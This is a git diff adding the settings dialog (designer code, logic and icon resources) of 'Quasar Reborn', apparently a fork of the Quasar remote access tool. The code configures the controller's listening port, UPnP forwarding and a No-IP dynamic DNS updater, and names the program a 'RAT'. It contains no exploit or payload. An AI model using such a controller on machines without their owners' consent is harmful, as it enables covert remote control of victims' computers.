/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.Designer.cs new file mode 100755 index 0000000..2318a69 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.Designer.cs @@ -0,0 +1,389 @@ +namespace Quasar.Server.Forms +{ + partial class FrmSettings + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSettings)); + this.btnSave = new System.Windows.Forms.Button(); + this.lblPort = new System.Windows.Forms.Label(); + this.ncPort = new System.Windows.Forms.NumericUpDown(); + this.chkAutoListen = new System.Windows.Forms.CheckBox(); + this.chkPopup = new System.Windows.Forms.CheckBox(); + this.btnListen = new System.Windows.Forms.Button(); + this.btnCancel = new System.Windows.Forms.Button(); + this.chkUseUpnp = new System.Windows.Forms.CheckBox(); + this.chkShowTooltip = new System.Windows.Forms.CheckBox(); + this.chkNoIPIntegration = new System.Windows.Forms.CheckBox(); + this.lblHost = new System.Windows.Forms.Label(); + this.lblPass = new System.Windows.Forms.Label(); + this.lblUser = new System.Windows.Forms.Label(); + this.txtNoIPPass = new System.Windows.Forms.TextBox(); + this.txtNoIPUser = new System.Windows.Forms.TextBox(); + this.txtNoIPHost = new System.Windows.Forms.TextBox(); + this.chkShowPassword = new System.Windows.Forms.CheckBox(); + this.chkIPv6Support = new System.Windows.Forms.CheckBox(); + this.chkDarkMode = new System.Windows.Forms.CheckBox(); + this.lblCustomName = new System.Windows.Forms.Label(); + this.txtCustomName = new System.Windows.Forms.TextBox(); + this.btnResetName = new System.Windows.Forms.Button(); + this.chkFlatContextMenu = new System.Windows.Forms.CheckBox(); + ((System.ComponentModel.ISupportInitialize)(this.ncPort)).BeginInit(); + this.SuspendLayout(); + // + // btnSave + // + this.btnSave.Location = new System.Drawing.Point(284, 382); + this.btnSave.Margin = new System.Windows.Forms.Padding(4); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(94, 29); + this.btnSave.TabIndex = 20; + this.btnSave.Text = "&Save"; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // lblPort + // + this.lblPort.AutoSize = true; + this.lblPort.Location = new System.Drawing.Point(15, 14); + this.lblPort.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblPort.Name = "lblPort"; + this.lblPort.Size = new System.Drawing.Size(110, 19); + this.lblPort.TabIndex = 0; + this.lblPort.Text = "Port to listen on:"; + // + // ncPort + // + this.ncPort.Location = new System.Drawing.Point(139, 9); + this.ncPort.Margin = new System.Windows.Forms.Padding(4); + this.ncPort.Maximum = new decimal(new int[] { + 65535, + 0, + 0, + 0}); + this.ncPort.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.ncPort.Name = "ncPort"; + this.ncPort.Size = new System.Drawing.Size(94, 26); + this.ncPort.TabIndex = 1; + this.ncPort.Value = new decimal(new int[] { + 1, + 0, + 0, + 0}); + // + // chkAutoListen + // + this.chkAutoListen.AutoSize = true; + this.chkAutoListen.Location = new System.Drawing.Point(15, 85); + this.chkAutoListen.Margin = new System.Windows.Forms.Padding(4); + this.chkAutoListen.Name = "chkAutoListen"; + this.chkAutoListen.Size = new System.Drawing.Size(262, 23); + this.chkAutoListen.TabIndex = 6; + this.chkAutoListen.Text = "Listen for new connections on startup"; + this.chkAutoListen.UseVisualStyleBackColor = true; + // + // chkPopup + // + this.chkPopup.AutoSize = true; + this.chkPopup.Location = new System.Drawing.Point(15, 114); + this.chkPopup.Margin = new System.Windows.Forms.Padding(4); + this.chkPopup.Name = "chkPopup"; + this.chkPopup.Size = new System.Drawing.Size(300, 23); + this.chkPopup.TabIndex = 7; + this.chkPopup.Text = "Show popup notification on new connection"; + this.chkPopup.UseVisualStyleBackColor = true; + // + // btnListen + // + this.btnListen.Location = new System.Drawing.Point(240, 8); + this.btnListen.Margin = new System.Windows.Forms.Padding(4); + this.btnListen.Name = "btnListen"; + this.btnListen.Size = new System.Drawing.Size(138, 29); + this.btnListen.TabIndex = 2; + this.btnListen.Text = "Start listening"; + this.btnListen.UseVisualStyleBackColor = true; + this.btnListen.Click += new System.EventHandler(this.btnListen_Click); + // + // btnCancel + // + this.btnCancel.Location = new System.Drawing.Point(182, 382); + this.btnCancel.Margin = new System.Windows.Forms.Padding(4); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(94, 29); + this.btnCancel.TabIndex = 19; + this.btnCancel.Text = "&Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // chkUseUpnp + // + this.chkUseUpnp.AutoSize = true; + this.chkUseUpnp.Location = new System.Drawing.Point(15, 142); + this.chkUseUpnp.Margin = new System.Windows.Forms.Padding(4); + this.chkUseUpnp.Name = "chkUseUpnp"; + this.chkUseUpnp.Size = new System.Drawing.Size(302, 23); + this.chkUseUpnp.TabIndex = 8; + this.chkUseUpnp.Text = "Try to automatically forward the port (UPnP)"; + this.chkUseUpnp.UseVisualStyleBackColor = true; + // + // chkShowTooltip + // + this.chkShowTooltip.AutoSize = true; + this.chkShowTooltip.Location = new System.Drawing.Point(15, 171); + this.chkShowTooltip.Margin = new System.Windows.Forms.Padding(4); + this.chkShowTooltip.Name = "chkShowTooltip"; + this.chkShowTooltip.Size = new System.Drawing.Size(316, 23); + this.chkShowTooltip.TabIndex = 9; + this.chkShowTooltip.Text = "Show tooltip on client with system information"; + this.chkShowTooltip.UseVisualStyleBackColor = true; + // + // chkNoIPIntegration + // + this.chkNoIPIntegration.AutoSize = true; + this.chkNoIPIntegration.Location = new System.Drawing.Point(15, 221); + this.chkNoIPIntegration.Margin = new System.Windows.Forms.Padding(4); + this.chkNoIPIntegration.Name = "chkNoIPIntegration"; + this.chkNoIPIntegration.Size = new System.Drawing.Size(225, 23); + this.chkNoIPIntegration.TabIndex = 10; + this.chkNoIPIntegration.Text = "Enable No-Ip.com DNS Updater"; + this.chkNoIPIntegration.UseVisualStyleBackColor = true; + this.chkNoIPIntegration.CheckedChanged += new System.EventHandler(this.chkNoIPIntegration_CheckedChanged); + // + // lblHost + // + this.lblHost.AutoSize = true; + this.lblHost.Enabled = false; + this.lblHost.Location = new System.Drawing.Point(38, 254); + this.lblHost.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblHost.Name = "lblHost"; + this.lblHost.Size = new System.Drawing.Size(41, 19); + this.lblHost.TabIndex = 11; + this.lblHost.Text = "Host:"; + // + // lblPass + // + this.lblPass.AutoSize = true; + this.lblPass.Enabled = false; + this.lblPass.Location = new System.Drawing.Point(209, 289); + this.lblPass.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblPass.Name = "lblPass"; + this.lblPass.Size = new System.Drawing.Size(39, 19); + this.lblPass.TabIndex = 15; + this.lblPass.Text = "Pass:"; + // + // lblUser + // + this.lblUser.AutoSize = true; + this.lblUser.Enabled = false; + this.lblUser.Location = new System.Drawing.Point(38, 289); + this.lblUser.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblUser.Name = "lblUser"; + this.lblUser.Size = new System.Drawing.Size(38, 19); + this.lblUser.TabIndex = 13; + this.lblUser.Text = "Mail:"; + // + // txtNoIPPass + // + this.txtNoIPPass.Enabled = false; + this.txtNoIPPass.Location = new System.Drawing.Point(249, 285); + this.txtNoIPPass.Margin = new System.Windows.Forms.Padding(4); + this.txtNoIPPass.Name = "txtNoIPPass"; + this.txtNoIPPass.Size = new System.Drawing.Size(124, 26); + this.txtNoIPPass.TabIndex = 16; + // + // txtNoIPUser + // + this.txtNoIPUser.Enabled = false; + this.txtNoIPUser.Location = new System.Drawing.Point(88, 285); + this.txtNoIPUser.Margin = new System.Windows.Forms.Padding(4); + this.txtNoIPUser.Name = "txtNoIPUser"; + this.txtNoIPUser.Size = new System.Drawing.Size(113, 26); + this.txtNoIPUser.TabIndex = 14; + // + // txtNoIPHost + // + this.txtNoIPHost.Enabled = false; + this.txtNoIPHost.Location = new System.Drawing.Point(88, 250); + this.txtNoIPHost.Margin = new System.Windows.Forms.Padding(4); + this.txtNoIPHost.Name = "txtNoIPHost"; + this.txtNoIPHost.Size = new System.Drawing.Size(285, 26); + this.txtNoIPHost.TabIndex = 12; + // + // chkShowPassword + // + this.chkShowPassword.AutoSize = true; + this.chkShowPassword.Enabled = false; + this.chkShowPassword.Location = new System.Drawing.Point(48, 319); + this.chkShowPassword.Margin = new System.Windows.Forms.Padding(4); + this.chkShowPassword.Name = "chkShowPassword"; + this.chkShowPassword.Size = new System.Drawing.Size(126, 23); + this.chkShowPassword.TabIndex = 17; + this.chkShowPassword.Text = "Show Password"; + this.chkShowPassword.UseVisualStyleBackColor = true; + this.chkShowPassword.CheckedChanged += new System.EventHandler(this.chkShowPassword_CheckedChanged); + // + // chkIPv6Support + // + this.chkIPv6Support.AutoSize = true; + this.chkIPv6Support.Location = new System.Drawing.Point(15, 56); + this.chkIPv6Support.Margin = new System.Windows.Forms.Padding(4); + this.chkIPv6Support.Name = "chkIPv6Support"; + this.chkIPv6Support.Size = new System.Drawing.Size(154, 23); + this.chkIPv6Support.TabIndex = 5; + this.chkIPv6Support.Text = "Enable IPv6 support"; + this.chkIPv6Support.UseVisualStyleBackColor = true; + // + // chkDarkMode + // + this.chkDarkMode.AutoSize = true; + this.chkDarkMode.Location = new System.Drawing.Point(15, 200); + this.chkDarkMode.Margin = new System.Windows.Forms.Padding(4); + this.chkDarkMode.Name = "chkDarkMode"; + this.chkDarkMode.Size = new System.Drawing.Size(251, 23); + this.chkDarkMode.TabIndex = 21; + this.chkDarkMode.Text = "Enable Dark Mode (restart required)"; + this.chkDarkMode.UseVisualStyleBackColor = true; + // + // lblCustomName + // + this.lblCustomName.AutoSize = true; + this.lblCustomName.Location = new System.Drawing.Point(15, 350); + this.lblCustomName.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCustomName.Name = "lblCustomName"; + this.lblCustomName.Size = new System.Drawing.Size(100, 19); + this.lblCustomName.TabIndex = 22; + this.lblCustomName.Text = "Custom Name:"; + // + // txtCustomName + // + this.txtCustomName.Location = new System.Drawing.Point(126, 347); + this.txtCustomName.Margin = new System.Windows.Forms.Padding(4); + this.txtCustomName.MaxLength = 50; + this.txtCustomName.Name = "txtCustomName"; + this.txtCustomName.Size = new System.Drawing.Size(150, 26); + this.txtCustomName.TabIndex = 23; + this.txtCustomName.Text = "Quasar Reborn"; + // + // btnResetName + // + this.btnResetName.Location = new System.Drawing.Point(284, 345); + this.btnResetName.Margin = new System.Windows.Forms.Padding(4); + this.btnResetName.Name = "btnResetName"; + this.btnResetName.Size = new System.Drawing.Size(94, 29); + this.btnResetName.TabIndex = 24; + this.btnResetName.Text = "Reset"; + this.btnResetName.UseVisualStyleBackColor = true; + this.btnResetName.Click += new System.EventHandler(this.btnResetName_Click); + // + // chkFlatContextMenu + // + this.chkFlatContextMenu.AutoSize = true; + this.chkFlatContextMenu.Location = new System.Drawing.Point(19, 382); + this.chkFlatContextMenu.Margin = new System.Windows.Forms.Padding(4); + this.chkFlatContextMenu.Name = "chkFlatContextMenu"; + this.chkFlatContextMenu.Size = new System.Drawing.Size(141, 23); + this.chkFlatContextMenu.TabIndex = 25; + this.chkFlatContextMenu.Text = "Flat context menu"; + this.chkFlatContextMenu.UseVisualStyleBackColor = true; + this.chkFlatContextMenu.CheckedChanged += new System.EventHandler(this.chkFlatContextMenu_CheckedChanged); + // + // FrmSettings + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(392, 465); + this.Controls.Add(this.chkFlatContextMenu); + this.Controls.Add(this.btnResetName); + this.Controls.Add(this.txtCustomName); + this.Controls.Add(this.lblCustomName); + this.Controls.Add(this.chkDarkMode); + this.Controls.Add(this.chkIPv6Support); + this.Controls.Add(this.chkShowPassword); + this.Controls.Add(this.txtNoIPHost); + this.Controls.Add(this.txtNoIPUser); + this.Controls.Add(this.txtNoIPPass); + this.Controls.Add(this.lblUser); + this.Controls.Add(this.lblPass); + this.Controls.Add(this.lblHost); + this.Controls.Add(this.chkNoIPIntegration); + this.Controls.Add(this.chkShowTooltip); + this.Controls.Add(this.chkUseUpnp); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.btnListen); + this.Controls.Add(this.chkPopup); + this.Controls.Add(this.chkAutoListen); + this.Controls.Add(this.ncPort); + this.Controls.Add(this.lblPort); + this.Controls.Add(this.btnSave); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.White; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmSettings"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Settings"; + this.Load += new System.EventHandler(this.FrmSettings_Load); + ((System.ComponentModel.ISupportInitialize)(this.ncPort)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button btnSave; + private System.Windows.Forms.Label lblPort; + private System.Windows.Forms.NumericUpDown ncPort; + private System.Windows.Forms.CheckBox chkAutoListen; + private System.Windows.Forms.CheckBox chkPopup; + private System.Windows.Forms.Button btnListen; + private System.Windows.Forms.Button btnCancel; + private System.Windows.Forms.CheckBox chkUseUpnp; + private System.Windows.Forms.CheckBox chkShowTooltip; + private System.Windows.Forms.CheckBox chkNoIPIntegration; + private System.Windows.Forms.Label lblHost; + private System.Windows.Forms.Label lblPass; + private System.Windows.Forms.Label lblUser; + private System.Windows.Forms.TextBox txtNoIPPass; + private System.Windows.Forms.TextBox txtNoIPUser; + private System.Windows.Forms.TextBox txtNoIPHost; + private System.Windows.Forms.CheckBox chkShowPassword; + private System.Windows.Forms.CheckBox chkIPv6Support; + private System.Windows.Forms.CheckBox chkDarkMode; + private System.Windows.Forms.Label lblCustomName; + private System.Windows.Forms.TextBox txtCustomName; + private System.Windows.Forms.Button btnResetName; + private System.Windows.Forms.CheckBox chkFlatContextMenu; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.cs new file mode 100755 index 0000000..ac1ba0e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.cs @@ -0,0 +1,193 @@ +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; +using System.Globalization; +using System.Net.Sockets; +using System.Windows.Forms; +using Quasar.Server.Models; + +namespace Quasar.Server.Forms +{ + public partial class FrmSettings : Form + { + private readonly QuasarServer _listenServer; + + public FrmSettings(QuasarServer listenServer) + { + this._listenServer = listenServer; + + InitializeComponent(); + + ToggleListenerSettings(!listenServer.Listening); + + ShowPassword(false); + } + + private void FrmSettings_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) + { + DarkModeManager.ApplyDarkMode(this); + } + ncPort.Value = Settings.ListenPort; + chkIPv6Support.Checked = Settings.IPv6Support; + chkAutoListen.Checked = Settings.AutoListen; + chkPopup.Checked = Settings.ShowPopup; + chkUseUpnp.Checked = Settings.UseUPnP; + chkShowTooltip.Checked = Settings.ShowToolTip; + chkNoIPIntegration.Checked = Settings.EnableNoIPUpdater; + txtNoIPHost.Text = Settings.NoIPHost; + txtNoIPUser.Text = Settings.NoIPUsername; + txtNoIPPass.Text = Settings.NoIPPassword; + chkDarkMode.Checked = Settings.DarkMode; + txtCustomName.Text = Settings.CustomRatName ?? "Quasar Reborn"; + chkFlatContextMenu.Checked = Settings.FlatContextMenu; + } + + private ushort GetPortSafe() + { + var portValue = ncPort.Value.ToString(CultureInfo.InvariantCulture); + ushort port; + return (!ushort.TryParse(portValue, out port)) ? (ushort)0 : port; + } + + private void btnListen_Click(object sender, EventArgs e) + { + ushort port = GetPortSafe(); + + if (port == 0) + { + MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, + MessageBoxIcon.Warning); + return; + } + + if (btnListen.Text == "Start listening" && !_listenServer.Listening) + { + try + { + if(chkNoIPIntegration.Checked) + NoIpUpdater.Start(); + _listenServer.Listen(port, chkIPv6Support.Checked, chkUseUpnp.Checked); + ToggleListenerSettings(false); + } + catch (SocketException ex) + { + if (ex.ErrorCode == 10048) + { + MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + _listenServer.Disconnect(); + } + catch (Exception) + { + _listenServer.Disconnect(); + } + } + else if (btnListen.Text == "Stop listening" && _listenServer.Listening) + { + _listenServer.Disconnect(); + ToggleListenerSettings(true); + } + } + + private void btnSave_Click(object sender, EventArgs e) + { + ushort port = GetPortSafe(); + + if (port == 0) + { + MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, + MessageBoxIcon.Warning); + return; + } + + Settings.ListenPort = port; + Settings.IPv6Support = chkIPv6Support.Checked; + Settings.AutoListen = chkAutoListen.Checked; + Settings.ShowPopup = chkPopup.Checked; + Settings.UseUPnP = chkUseUpnp.Checked; + Settings.ShowToolTip = chkShowTooltip.Checked; + Settings.EnableNoIPUpdater = chkNoIPIntegration.Checked; + Settings.NoIPHost = txtNoIPHost.Text; + Settings.NoIPUsername = txtNoIPUser.Text; + Settings.NoIPPassword = txtNoIPPass.Text; + Settings.DarkMode = chkDarkMode.Checked; + Settings.CustomRatName = string.IsNullOrWhiteSpace(txtCustomName.Text) ? "Quasar Reborn" : txtCustomName.Text.Trim(); + Settings.FlatContextMenu = chkFlatContextMenu.Checked; + + // Update main form title and context menu + var mainForm = Application.OpenForms["FrmMain"] as FrmMain; + if (mainForm != null) + { + mainForm.UpdateWindowTitle(); + mainForm.RebuildContextMenu(); + } + + MessageBox.Show("Settings saved successfully!", "Settings", MessageBoxButtons.OK, MessageBoxIcon.Information); + + // Don't close if embedded in a tab (TopLevel = false) + if (this.TopLevel) + this.Close(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + // Reload settings from saved values + FrmSettings_Load(this, EventArgs.Empty); + + // Don't close if embedded in a tab (TopLevel = false) + if (this.TopLevel && MessageBox.Show("Discard your changes?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + this.Close(); + } + + private void chkNoIPIntegration_CheckedChanged(object sender, EventArgs e) + { + NoIPControlHandler(chkNoIPIntegration.Checked); + } + + private void ToggleListenerSettings(bool enabled) + { + btnListen.Text = enabled ? "Start listening" : "Stop listening"; + ncPort.Enabled = enabled; + chkIPv6Support.Enabled = enabled; + chkUseUpnp.Enabled = enabled; + } + + private void NoIPControlHandler(bool enable) + { + lblHost.Enabled = enable; + lblUser.Enabled = enable; + lblPass.Enabled = enable; + txtNoIPHost.Enabled = enable; + txtNoIPUser.Enabled = enable; + txtNoIPPass.Enabled = enable; + chkShowPassword.Enabled = enable; + } + + private void ShowPassword(bool show = true) + { + txtNoIPPass.PasswordChar = (show) ? (char)0 : (char)'â—'; + } + + private void chkShowPassword_CheckedChanged(object sender, EventArgs e) + { + ShowPassword(chkShowPassword.Checked); + } + + private void btnResetName_Click(object sender, EventArgs e) + { + txtCustomName.Text = "Quasar Reborn"; + } + + private void chkFlatContextMenu_CheckedChanged(object sender, EventArgs e) + { + + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + 